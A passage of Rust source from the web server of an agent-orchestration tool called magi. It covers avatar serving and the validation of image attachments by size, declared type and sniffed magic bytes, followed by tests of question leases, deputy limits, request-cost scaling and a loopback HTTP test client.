11030 found.as_ref().and_then(|p| p.icon.as_deref()),
11031 );
11032 if found.is_none() && icon.is_none() {
11033 return Ok(builtin_avatar(persona::DEFAULT_ID));
11034 }
11035 let Some(icon) = icon
11036 .as_deref()
11037 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11038 else {
11039 return Ok(builtin_avatar(&wanted));
11040 };
11041 let Some(found) = found else {
11042 return Ok(raster_or_builtin(
11043 Some(icon),
11044 persona_icon::builtin_svg(&wanted),
11045 ));
11046 };
11047 match persona_icon::load(icon) {
11048 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11049 let mut res = attachment_response(mime, bytes);
11050 res.headers_mut().insert(
11051 header::CACHE_CONTROL,
11052 header::HeaderValue::from_static("no-cache"),
11053 );
11054 Ok(res)
11055 }
11056 Ok((mime, _)) => {
11057 tracing::warn!(
11058 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11059 found.id
11060 );
11061 Ok(builtin_avatar(&found.id))
11062 }
11063 Err(e) => {
11064 tracing::warn!(
11065 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11066 found.id
11067 );
11068 Ok(builtin_avatar(&found.id))
11069 }
11070 }
11071 })
11072 .await
11073}
11074
11075fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11086 if data.len() > ATTACHMENT_MAX_BYTES {
11087 return Err(ApiError::bad_request(format!(
11088 "attachment is {} bytes, over the {} MiB limit",
11089 data.len(),
11090 ATTACHMENT_MAX_BYTES / (1024 * 1024)
11091 ))
11092 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11093 }
11094 if data.is_empty() {
11095 return Err(ApiError::bad_request("attachment is empty"));
11096 }
11097 let declared = declared_mime(headers)?;
11098 match sniffed_mime(data) {
11099 Some(sniffed) if sniffed == declared => Ok(declared),
11100 Some(sniffed) => Err(ApiError::bad_request(format!(
11101 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11102 ))),
11103 None => Err(ApiError::bad_request(
11104 "the file's bytes do not match any accepted image format",
11105 )),
11106 }
11107}
11108
11109fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11113 let raw = headers
11114 .get(header::CONTENT_TYPE)
11115 .and_then(|v| v.to_str().ok())
11116 .unwrap_or("")
11117 .split(';')
11118 .next()
11119 .unwrap_or("")
11120 .trim()
11121 .to_ascii_lowercase();
11122 ATTACHMENT_MIME_WHITELIST
11123 .iter()
11124 .find(|&&m| m == raw)
11125 .copied()
11126 .ok_or_else(|| {
11127 if raw == "image/svg+xml" {
11128 ApiError::bad_request(
11129 "SVG is not accepted: it can carry active content (e.g. a <script>), \
11130 not just a picture",
11131 )
11132 } else if raw.is_empty() {
11133 ApiError::bad_request("Content-Type is required for an attachment upload")
11134 } else {
11135 ApiError::bad_request(format!(
11136 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11137 image/gif or image/webp"
11138 ))
11139 }
11140 })
11141}
11142
11143fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11146 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11147 Some("image/png")
11148 } else if data.starts_with(b"\xff\xd8\xff") {
11149 Some("image/jpeg")
11150 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11151 Some("image/gif")
11152 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11153 Some("image/webp")
11154 } else {
11155 None
11156 }
11157}
11158
11159fn filename_header(headers: &HeaderMap) -> String {
11165 headers
11166 .get(FILENAME_HEADER)
11167 .and_then(|v| v.to_str().ok())
11168 .map(str::trim)
11169 .filter(|s| !s.is_empty())
11170 .unwrap_or("attachment")
11171 .to_owned()
11172}
11173
11174fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11181 let content_type = ATTACHMENT_MIME_WHITELIST
11182 .iter()
11183 .find(|&&m| m == mime)
11184 .copied()
11185 .unwrap_or("application/octet-stream");
11186 (
11187 [
11188 (header::CONTENT_TYPE, content_type),
11189 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11190 ],
11191 body,
11192 )
11193 .into_response()
11194}
11195
11196async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11204 let repo = repo.to_path_buf();
11205 blocking(move || {
11206 let (cfg, _) = Config::discover(&repo, None)?;
11207 Ok(cfg)
11208 })
11209 .await
11210}
11211
11212fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11218 let mut hits = ids
11219 .into_iter()
11220 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11221 match (hits.next(), hits.next()) {
11222 (Some(one), None) => Ok(one),
11223 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11224 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11225 "`{prefix}` matches more than one {what}, including {a} and {b}"
11226 ))),
11227 }
11228}
11229
11230#[cfg(test)]
11231mod tests {
11232
11233 #[test]
11234 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11235 let dir = tempfile::tempdir().unwrap();
11236 let store = ask::Questions::at(dir.path().join("questions"));
11237 let mut q = Question::new(
11238 "task".to_owned(),
11239 "conduct".to_owned(),
11240 "conduct".to_owned(),
11241 "choose".to_owned(),
11242 String::new(),
11243 vec!["keep".to_owned()],
11244 );
11245 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11246 q.say("why?").unwrap();
11247 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11248 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11249 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11250 store.put(&mut q).unwrap();
11251 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11252 assert_eq!(store.count_needs_owner(), 1);
11253 store.beat(&q.id, ask::WaiterKind::Deputy);
11254 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11255 assert_eq!(store.count_needs_owner(), 0);
11256 let mut stale = store.read_lease(&q.id).unwrap();
11257 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11258 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11259 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11260 assert!(view.deputy_exhausted);
11261 assert!(view.waiting_on_agent);
11262 assert_eq!(view.question.choices, ["keep"]);
11263 store.drop_lease(&q.id);
11264 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11265 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11266 }
11267
11268 #[test]
11269 fn holder_reads_the_lease_not_the_record() {
11270 let mut q = Question::new(
11271 "run".to_owned(),
11272 "implement".to_owned(),
11273 "impl-A".to_owned(),
11274 "which?".to_owned(),
11275 String::new(),
11276 Vec::new(),
11277 );
11278 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11279 q.cwd = Some("/tmp".to_owned());
11280 assert_eq!(holder_of(&q, None), Some("nobody"));
11281 let beat = |kind, ago: i64| ask::Lease {
11282 kind,
11283 pid: 1,
11284 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11285 .unwrap(),
11286 };
11287 let fresh = beat(ask::WaiterKind::Asker, 1);
11288 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11289 let daemon = beat(ask::WaiterKind::Daemon, 1);
11290 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11291 let stale = beat(ask::WaiterKind::Asker, 3600);
11292 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11293
11294 let mut c = Question::new(
11297 "task".to_owned(),
11298 crate::conduct::NODE.to_owned(),
11299 "conduct".to_owned(),
11300 "which?".to_owned(),
11301 String::new(),
11302 Vec::new(),
11303 );
11304 assert_eq!(holder_of(&c, None), Some("nobody"));
11305 c.cwd = Some("/tmp".to_owned());
11306 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11307 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11308 let deputy = beat(ask::WaiterKind::Deputy, 1);
11309 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11310 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11311
11312 let mut r = Question::new(
11314 String::new(),
11315 crate::bump::NOTICE_NODE.to_owned(),
11316 "release-watch".to_owned(),
11317 "stuck?".to_owned(),
11318 String::new(),
11319 vec!["hold".to_owned()],
11320 );
11321 assert_eq!(holder_of(&r, None), Some("nobody"));
11322 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11323 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11324 r.deputy = None;
11326 r.seat = "bump".to_owned();
11327 assert_eq!(holder_of(&r, None), None);
11328
11329 let mut m = Question::new(
11332 "run".to_owned(),
11333 crate::land::APPROVAL_NODE.to_owned(),
11334 "land".to_owned(),
11335 "merge?".to_owned(),
11336 String::new(),
11337 Vec::new(),
11338 );
11339 assert_eq!(holder_of(&m, None), Some("nobody"));
11340 assert_eq!(
11341 holder_of(&m, Some(&fresh)),
11342 Some("asker"),
11343 "a live explicit wait is a listener even before a deputy is attached"
11344 );
11345 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11346 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11347 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11348 assert_eq!(holder_of(&m, None), Some("nobody"));
11349 }
11350
11351 fn stub_config() -> Config {
11352 Config {
11355 agents: vec![crate::config::AgentSpec {
11356 id: "stub".to_owned(),
11357 kind: AgentKind::Command,
11358 model: None,
11359 command: vec!["true".to_owned()],
11360 extra_args: Vec::new(),
11361 env: Default::default(),
11362 prompt_delivery: None,
11363 max_turn_secs: None,
11364 }],
11365 ..Config::default()
11366 }
11367 }
11368
11369 fn plain_question(seat: &str) -> Question {
11370 Question::new(
11371 String::new(),
11372 "n".to_owned(),
11373 seat.to_owned(),
11374 "s".to_owned(),
11375 String::new(),
11376 Vec::new(),
11377 )
11378 }
11379
11380 #[test]
11381 fn deputies_enabled_follows_the_config() {
11382 let on = stub_config();
11383 assert!(crate::deputy::can_start(Some(&on), ""));
11384 assert!(crate::deputy::can_start(Some(&on), "stub"));
11385 let mut off = on.clone();
11386 off.daemon.max_deputies = 0;
11387 assert!(!crate::deputy::can_start(Some(&off), ""));
11388 let mut empty = on;
11389 empty.agents.clear();
11390 assert!(!crate::deputy::can_start(Some(&empty), ""));
11391 assert!(!crate::deputy::can_start(None, ""));
11392 }
11393
11394 #[test]
11395 fn question_views_load_the_config_once() {
11396 let dir = TempDir::new().unwrap();
11397 let store = ask::Questions::at(dir.path().to_path_buf());
11398 let mut with_deputy = plain_question("b");
11399 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11400 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11401
11402 let calls = std::cell::Cell::new(0usize);
11403 let views = question_views(qs.clone(), &store, || {
11404 calls.set(calls.get() + 1);
11405 Some(stub_config())
11406 });
11407 assert_eq!(calls.get(), 1);
11408 assert_eq!(views.len(), 3);
11409 for (v, q) in views.iter().zip(&qs) {
11410 assert_eq!(
11411 v.deputies_enabled,
11412 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11413 );
11414 }
11415
11416 let views = question_views(qs, &store, || None);
11417 assert!(views.iter().all(|v| !v.deputies_enabled));
11418
11419 let calls = std::cell::Cell::new(0usize);
11420 let views = question_views(Vec::new(), &store, || {
11421 calls.set(calls.get() + 1);
11422 None
11423 });
11424 assert!(views.is_empty());
11425 assert_eq!(calls.get(), 0);
11426 }
11427
11428 use pretty_assertions::assert_eq;
11429 use serde_json::Value;
11430 use tempfile::TempDir;
11431 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11432
11433 use super::*;
11434 use crate::config::Config;
11435 use crate::queue::Source;
11436
11437 const SETTLE_STEPS: usize = 3_000;
11448
11449 struct Fixture {
11455 home: TempDir,
11456 addr: SocketAddr,
11457 }
11458
11459 impl Fixture {
11460 async fn start() -> Self {
11461 Self::with_loop(launch_idle).await
11462 }
11463
11464 async fn with_loop(launch: Launch) -> Self {
11466 let home = TempDir::new().expect("temp home");
11467 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11468 Self { home, addr }
11469 }
11470
11471 async fn with_repo(repo: PathBuf) -> Self {
11475 let home = TempDir::new().expect("temp home");
11476 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11477 Self { home, addr }
11478 }
11479
11480 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11483 let home = TempDir::new().expect("temp home");
11484 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11485 Self { home, addr }
11486 }
11487
11488 async fn serve(
11489 home: &FsPath,
11490 repo: PathBuf,
11491 launch: Launch,
11492 machine: Option<PathBuf>,
11493 ) -> SocketAddr {
11494 let queue = Queue::at(home.join("queue"));
11495 let runs = home.join("runs");
11496 std::fs::create_dir_all(&runs).expect("runs dir");
11497 let worktrees = home.join("wt").join("magi");
11498 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11499 let ui = Ui::new(
11500 queue,
11501 Questions::at(home.join("questions")),
11502 Talks::at(home.join("talks")),
11503 runs,
11504 home.to_path_buf(),
11505 repo,
11506 )
11507 .with_worktrees_root(worktrees)
11508 .with_machine_config(machine)
11509 .with_launch(launch);
11510 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11511 .await
11512 .expect("bind loopback");
11513 let addr = listener.local_addr().expect("local addr");
11514 tokio::spawn(async move {
11515 let router = ui
11516 .router()
11517 .layer(axum::middleware::from_fn(request_cost::observe));
11518 let _ = axum::serve(listener, router).await;
11519 });
11520 addr
11521 }
11522
11523 fn queue(&self) -> Queue {
11524 Queue::at(self.home.path().join("queue"))
11525 }
11526
11527 fn questions(&self) -> Questions {
11528 Questions::at(self.home.path().join("questions"))
11529 }
11530
11531 fn talks(&self) -> Talks {
11532 Talks::at(self.home.path().join("talks"))
11533 }
11534
11535 fn runs(&self) -> PathBuf {
11536 self.home.path().join("runs")
11537 }
11538
11539 async fn get(&self, path: &str) -> Res {
11540 request(self.addr, "GET", path, None).await
11541 }
11542
11543 async fn head(&self, path: &str) -> Res {
11548 request(self.addr, "HEAD", path, None).await
11549 }
11550
11551 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11552 request(self.addr, "POST", path, body).await
11553 }
11554
11555 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11556 request_with(self.addr, "GET", path, None, extra).await
11557 }
11558
11559 async fn delete(&self, path: &str) -> Res {
11560 request(self.addr, "DELETE", path, None).await
11561 }
11562
11563 async fn put(&self, path: &str, body: &str) -> Res {
11564 request(self.addr, "PUT", path, Some(body)).await
11565 }
11566
11567 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11569 request_bytes(self.addr, path, headers, body).await
11570 }
11571 }
11572
11573 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11576 let tmp = TempDir::new().unwrap();
11577 let mut repos = Vec::new();
11578 for name in ["one", "two"] {
11579 let repo = tmp.path().join(name);
11580 let origin = tmp.path().join(format!("{name}.git"));
11581 std::fs::create_dir_all(&repo).unwrap();
11582 crate::git::git(&repo, &["init", "-b", "main"])
11583 .await
11584 .unwrap();
11585 std::fs::write(
11586 repo.join("magi.toml"),
11587 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11588 )
11589 .unwrap();
11590 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11591 crate::git::git(
11592 &repo,
11593 &[
11594 "-c",
11595 "user.name=fixture",
11596 "-c",
11597 "user.email=fixture@example.invalid",
11598 "commit",
11599 "-m",
11600 "fixture",
11601 ],
11602 )
11603 .await
11604 .unwrap();
11605 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11606 .await
11607 .unwrap();
11608 crate::git::git(
11609 &repo,
11610 &["remote", "add", "origin", origin.to_str().unwrap()],
11611 )
11612 .await
11613 .unwrap();
11614 crate::git::git(&repo, &["push", "origin", "main"])
11615 .await
11616 .unwrap();
11617 crate::git::git(
11618 &repo,
11619 &[
11620 "symbolic-ref",
11621 "refs/remotes/origin/HEAD",
11622 "refs/remotes/origin/main",
11623 ],
11624 )
11625 .await
11626 .unwrap();
11627 let (cfg, _) = Config::discover(&repo, None).unwrap();
11628 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11629 repos.push(repo);
11630 }
11631 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11632 (tmp, repos)
11633 }
11634
11635 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11636 let (tmp, repos) = performance_repositories().await;
11637 let machine = tmp.path().join("machine.toml");
11638 std::fs::write(&machine, "").unwrap();
11639 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11640 (tmp, repos, fx)
11641 }
11642
11643 fn seed_performance(
11644 fx: &Fixture,
11645 repos: &[PathBuf; 2],
11646 questions: usize,
11647 runs: usize,
11648 items: usize,
11649 ) {
11650 for i in fx.questions().list().len()..questions {
11652 let mut question = Question::new(
11653 "20261001-000000-0000".into(),
11654 "implement".into(),
11655 "impl-A".into(),
11656 format!("question {i}"),
11657 "context".into(),
11658 vec!["yes".into(), "no".into()],
11659 );
11660 question.id = format!("20261003-000000-{i:04x}");
11661 fx.questions().put(&mut question).unwrap();
11662 }
11663 for i in run_ids(&fx.runs()).len()..runs {
11664 write_run_repo(
11665 &fx.runs(),
11666 &format!("20261001-000000-{i:04x}"),
11667 RunStatus::Ready,
11668 repos[i % 2].to_str().unwrap(),
11669 );
11670 }
11671 for i in fx.talks().list().len()..items {
11672 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11673 let mut talk = fx.talks().get(&id).unwrap();
11674 talk.repo = repos[i % 2].clone();
11675 fx.talks().put(&mut talk).unwrap();
11676 let mut task = crate::queue::Task::new(
11677 format!("task {i}"),
11678 "instruction".into(),
11679 repos[i % 2].clone(),
11680 crate::queue::Source::Agent {
11681 run: id,
11682 node: crate::queue::CHAT_NODE.into(),
11683 },
11684 );
11685 task.id = format!("20261004-000000-{i:04x}");
11686 fx.queue().put(&mut task).unwrap();
11687 if i < crate::notices::CAP {
11689 Notices::at(fx.home.path().join("notifications"))
11690 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11691 .unwrap();
11692 }
11693 }
11694 assert_eq!(fx.questions().list().len(), questions);
11695 assert_eq!(run_ids(&fx.runs()).len(), runs);
11696 assert_eq!(fx.talks().list().len(), items);
11697 assert_eq!(fx.queue().list().len(), items);
11698 assert_eq!(
11699 Notices::at(fx.home.path().join("notifications"))
11700 .list()
11701 .len(),
11702 items.min(crate::notices::CAP)
11703 );
11704 }
11705
11706 #[tokio::test]
11707 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11708 let home = TempDir::new().unwrap();
11709 let root = home.path().canonicalize().unwrap();
11710 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11711 let fx = Fixture { home, addr };
11712 let repo = root.as_path().join("archive-repo");
11713 std::fs::create_dir(&repo).unwrap();
11714 crate::git::git(&repo, &["init", "-b", "main"])
11715 .await
11716 .unwrap();
11717 crate::git::git(&repo, &["config", "user.name", "Fixture"])
11718 .await
11719 .unwrap();
11720 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11721 .await
11722 .unwrap();
11723 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11724 .await
11725 .unwrap();
11726 std::fs::write(repo.join("source"), "base").unwrap();
11727 crate::git::git(&repo, &["add", "."]).await.unwrap();
11728 crate::git::git(&repo, &["commit", "-m", "base"])
11729 .await
11730 .unwrap();
11731 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11732 std::fs::write(repo.join("source"), "archived review").unwrap();
11733 crate::git::git(&repo, &["commit", "-am", "review"])
11734 .await
11735 .unwrap();
11736 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11737 let mut config = Config::default();
11738 config.graph.worktree_root = Some(root.as_path().join("copies"));
11739 let mut state = RunState::new(
11740 repo.clone(),
11741 "main".into(),
11742 base.clone(),
11743 "archive".into(),
11744 config,
11745 );
11746 state.id = "20260101-000000-ef05".into();
11747 state.status = RunStatus::Ready;
11748 state.save_under(root.as_path()).unwrap();
11749 let evidence =
11750 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11751 .await
11752 .unwrap();
11753 let base_evidence =
11754 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11755 .await
11756 .unwrap();
11757 let source = state.worktree_root().join("review-1");
11758 let mut contents = std::collections::BTreeMap::new();
11759 contents.insert(
11760 repo.join("logs/HEAD"),
11761 format!("{base} {head} fixture\n").into_bytes(),
11762 );
11763 let record = serde_json::json!({
11764 "version":1, "run":state.id, "source":source, "head":head,
11765 "evidence":evidence, "admin":{}, "admin_contents":contents,
11766 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11767 });
11768 std::fs::write(
11769 fx.runs()
11770 .join(&state.id)
11771 .join("artifacts/eviction-review-1.json"),
11772 serde_json::to_vec(&record).unwrap(),
11773 )
11774 .unwrap();
11775 std::fs::remove_dir_all(&repo).unwrap();
11776 let url = format!("/api/runs/{}/seat-evidence", state.id);
11777 let list = fx.get(&url).await;
11778 assert_eq!(list.status, 200, "{}", list.body);
11779 assert_eq!(list.json()[&head], "review-1");
11780 let patch = fx.get(&format!("{url}/{head}")).await;
11781 assert_eq!(patch.status, 200, "{}", patch.body);
11782 assert!(patch.body.contains("+archived review"));
11783 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11784 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11785 assert_eq!(fx.get(&url).await.status, 404);
11786 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11787 }
11788
11789 fn request_counts(res: &Res) -> (usize, usize) {
11790 assert_eq!(res.status, 200, "{}", res.body);
11791 (
11792 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11793 res.header("x-test-git").unwrap().parse().unwrap(),
11794 )
11795 }
11796
11797 #[tokio::test]
11798 async fn list_request_cost_is_independent_of_record_count() {
11799 let (_tmp, repos, fx) = performance_fixture().await;
11800 let mut previous = None;
11801 for n in [4, 60] {
11802 seed_performance(&fx, &repos, n, n, n);
11803 let mut costs = Vec::new();
11804 for (path, discoveries) in [
11805 ("/api/questions", 1),
11806 ("/api/talks", 0),
11807 ("/api/health", 0),
11808 ("/api/stats", 1),
11809 ] {
11810 for repo in &repos {
11813 let cache = repo.join(".git/magi/config");
11814 if cache.exists() {
11815 std::fs::remove_dir_all(cache).unwrap();
11816 }
11817 }
11818 let cost = request_counts(&fx.get(path).await);
11819 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11820 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11821 assert!(
11822 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11823 "{path}: {cost:?}"
11824 );
11825 costs.push(cost);
11826 }
11827 if let Some(previous) = previous {
11828 assert_eq!(costs, previous);
11829 }
11830 previous = Some(costs);
11831 }
11832 }
11836
11837 #[tokio::test]
11840 async fn list_handler_cost_without_transport() {
11841 let (_tmp, repos) = performance_repositories().await;
11842 let fx = Fixture {
11843 home: TempDir::new().unwrap(),
11844 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11845 };
11846 let ui = Arc::new(
11847 Ui::new(
11848 fx.queue(),
11849 fx.questions(),
11850 fx.talks(),
11851 fx.runs(),
11852 fx.home.path().to_path_buf(),
11853 repos[0].clone(),
11854 )
11855 .with_worktrees_root(fx.home.path().join("wt")),
11856 );
11857 let mut previous = None;
11858 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11859 seed_performance(&fx, &repos, n, runs, items);
11860 let mut costs = Vec::new();
11861 for endpoint in ["questions", "talks", "health", "stats"] {
11862 for repo in &repos {
11863 let cache = repo.join(".git/magi/config");
11864 if cache.exists() {
11865 std::fs::remove_dir_all(cache).unwrap();
11866 }
11867 }
11868 let (_, cost) = request_cost::measure(async {
11869 match endpoint {
11870 "questions" => {
11871 let _ = questions_list(State(ui.clone())).await.unwrap();
11872 }
11873 "talks" => {
11874 let _ = talks_list(
11875 State(ui.clone()),
11876 Query(ListQuery {
11877 limit: None,
11878 ids: None,
11879 }),
11880 header::HeaderMap::new(),
11881 )
11882 .await
11883 .unwrap();
11884 }
11885 "health" => {
11886 let _ = health(State(ui.clone())).await.unwrap();
11887 }
11888 _ => {
11889 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11890 .await
11891 .unwrap();
11892 }
11893 }
11894 })
11895 .await;
11896 eprintln!("{endpoint} handler N={n}: {cost:?}");
11897 assert_eq!(
11898 cost.0,
11899 if matches!(endpoint, "talks" | "health") {
11900 0
11901 } else {
11902 1
11903 },
11904 "{endpoint}"
11905 );
11906 assert!(
11907 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11908 "{endpoint}: {cost:?}"
11909 );
11910 costs.push(cost);
11911 }
11912 if let Some(previous) = previous {
11913 assert_eq!(costs, previous);
11914 }
11915 previous = Some(costs);
11916 }
11917 }
11918
11919 #[tokio::test]
11920 async fn list_request_cost_scopes_do_not_mix() {
11921 let (_tmp, repos, fx) = performance_fixture().await;
11922 seed_performance(&fx, &repos, 10, 0, 10);
11923 let (questions, talks, notices) = tokio::join!(
11924 fx.get("/api/questions"),
11925 fx.get("/api/talks"),
11926 fx.get("/api/notifications")
11927 );
11928 assert_eq!(request_counts(&questions).0, 1);
11929 assert_eq!(request_counts(&talks), (0, 0));
11932 assert_eq!(request_counts(¬ices), (0, 0));
11933 }
11934
11935 #[tokio::test]
11936 async fn list_endpoints_large_home_responses() {
11937 check_large_home_endpoints(false).await;
11938 }
11939
11940 #[tokio::test]
11941 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11942 async fn list_endpoints_large_home_ceiling() {
11943 check_large_home_endpoints(true).await;
11944 }
11945
11946 async fn check_large_home_endpoints(timed: bool) {
11947 let (_tmp, repos, fx) = performance_fixture().await;
11948 seed_performance(&fx, &repos, 200, 300, 400);
11949 let mut failures = Vec::new();
11950 for path in [
11953 "/",
11954 "/app.js",
11955 "/app.css",
11956 "/api/questions",
11957 "/api/runs?limit=300",
11958 "/api/queue",
11959 "/api/talks",
11960 "/api/notifications",
11961 "/api/health",
11962 "/api/stats",
11963 "/api/loop",
11964 "/api/settings",
11965 "/api/repos",
11966 ] {
11967 let start = std::time::Instant::now();
11968 let result = if timed {
11969 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11970 } else {
11971 Ok(fx.get(path).await)
11972 };
11973 let elapsed = start.elapsed();
11974 eprintln!("{path}: {elapsed:?}");
11975 match result {
11976 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11977 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11978 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11979 }
11980 }
11981 assert!(failures.is_empty(), "{}", failures.join("\n"));
11982 }
11983
11984 struct Res {
11985 status: u16,
11986 headers: String,
11987 head: String,
11992 body: String,
11993 bytes: Vec<u8>,
11997 }
11998
11999 impl Res {
12000 fn json(&self) -> Value {
12001 serde_json::from_str(&self.body)
12002 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12003 }
12004
12005 fn header(&self, name: &str) -> Option<&str> {
12007 self.head.lines().find_map(|line| {
12008 let (key, value) = line.split_once(':')?;
12009 key.trim()
12010 .eq_ignore_ascii_case(name)
12011 .then(|| value.trim_start().trim_end_matches('\r'))
12012 })
12013 }
12014 }
12015
12016 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12019 request_with(addr, method, path, body, &[]).await
12020 }
12021
12022 async fn request_with(
12026 addr: SocketAddr,
12027 method: &str,
12028 path: &str,
12029 body: Option<&str>,
12030 extra: &[(&str, &str)],
12031 ) -> Res {
12032 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12033 for (name, value) in extra {
12034 head.push_str(&format!("{name}: {value}\r\n"));
12035 }
12036 if let Some(body) = body {
12037 head.push_str("Content-Type: application/json\r\n");
12038 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12039 }
12040 head.push_str("\r\n");
12041 if let Some(body) = body {
12042 head.push_str(body);
12043 }
12044 let mut socket = tokio::net::TcpStream::connect(addr)
12045 .await
12046 .expect("connect to the test server");
12047 socket
12048 .write_all(head.as_bytes())
12049 .await
12050 .expect("write request");
12051 let mut raw = Vec::new();
12052 socket.read_to_end(&mut raw).await.expect("read response");
12053 let split = raw
12056 .windows(4)
12057 .position(|w| w == b"\r\n\r\n")
12058 .expect("a header block");
12059 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12060 let bytes = raw[split + 4..].to_vec();
12061 let status = head
12062 .lines()
12063 .next()
12064 .and_then(|line| line.split_whitespace().nth(1))
12065 .and_then(|code| code.parse().ok())
12066 .expect("a status line");
12067 Res {
12068 status,
12069 headers: head.to_lowercase(),
12070 head,
12071 body: String::from_utf8_lossy(&bytes).into_owned(),
12072 bytes,
12073 }
12074 }
12075
12076 async fn request_bytes(
